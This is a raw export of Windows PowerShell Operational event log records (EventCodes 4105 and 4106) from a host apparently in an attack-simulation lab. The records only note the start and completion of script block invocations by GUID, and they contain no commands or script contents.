09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036767
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036766
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036765
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036764
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036747
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036742
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036741
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
